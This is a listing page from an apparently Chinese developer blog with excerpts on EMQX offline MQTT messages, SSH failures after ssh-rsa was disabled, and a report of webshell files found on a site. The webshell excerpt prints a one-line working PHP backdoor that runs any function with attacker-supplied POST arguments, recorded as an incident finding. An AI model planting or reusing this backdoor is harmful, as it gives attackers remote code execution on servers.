6月 24, 2026 - 开发笔记    emqx发送消息到离线的设备端,设备再次上线时收不到消息已关闭评论

emqx发送消息到离线的设备端,设备再次上线时收不到消息

云端发送消息到设备端,即使设备离线后,再次上线后依然可以接受到消息的方案:

推荐简单便捷方案:
1
:云端的MQTT配置的会话过期时间设置为7天。


2:云端发送MQTT消息时把qos设置为1

3:设备端连接mqtt时把cleanssion设置为0

这样就可以收到7天内的离线消息了。
不太推荐的做法:云端发送消息时使用保留消息的模式,虽然也可以让设备离线再上线后可以接收到消息,但会重复接收(再次下线再上线依然会再次接收到retain类型的消息),而想要解决不重复接受retain的消息,需要有清除机制:可采用,设备端收到消息处理后发送xxx/ack类型的event到云端,云[……]

Read more

6月 5, 2026 - 开发笔记    网站发现Webshell后门文件已关闭评论

网站发现Webshell后门文件

接收到阿里云的警告:


查询
网站后台文件,发现确实有public/ata.php和public/ataye.php文件,aka.php内容是

<?php ${'_POST'}[1](${'_POST'}[2],${'_POST'}[3]); ?>return array (
);

ataye.php内容是:

<?php
/**
 * Site Configuration
 * @package    MySite
 * @version    2.4.1
 * @copyright  Copyright (c) 2024
 */
define[......]

Read more

6月 1, 2026 - 开发笔记    ssh 链接失效已关闭评论

ssh 链接失效

为何ssh链接以前可以链接,现在不能链接了

本地 OpenSSH 版本升级 / 配置变更(概率最高)

新版 OpenSSH(8.8+)默认禁用弱算法 ssh-rsa
  • 之前能连:你旧客户端没限制算法,可以正常协商。
  • 现在不能连:本地系统 / SSH 升级后,直接拒绝老旧算法,触发你看到的报错。
    临时修复(立即能用)
    bash
    运行
    # 替换成你的账号、IP、端口
    ssh -o HostKeyAlgori[......]

    Read more

页面:1234567...48»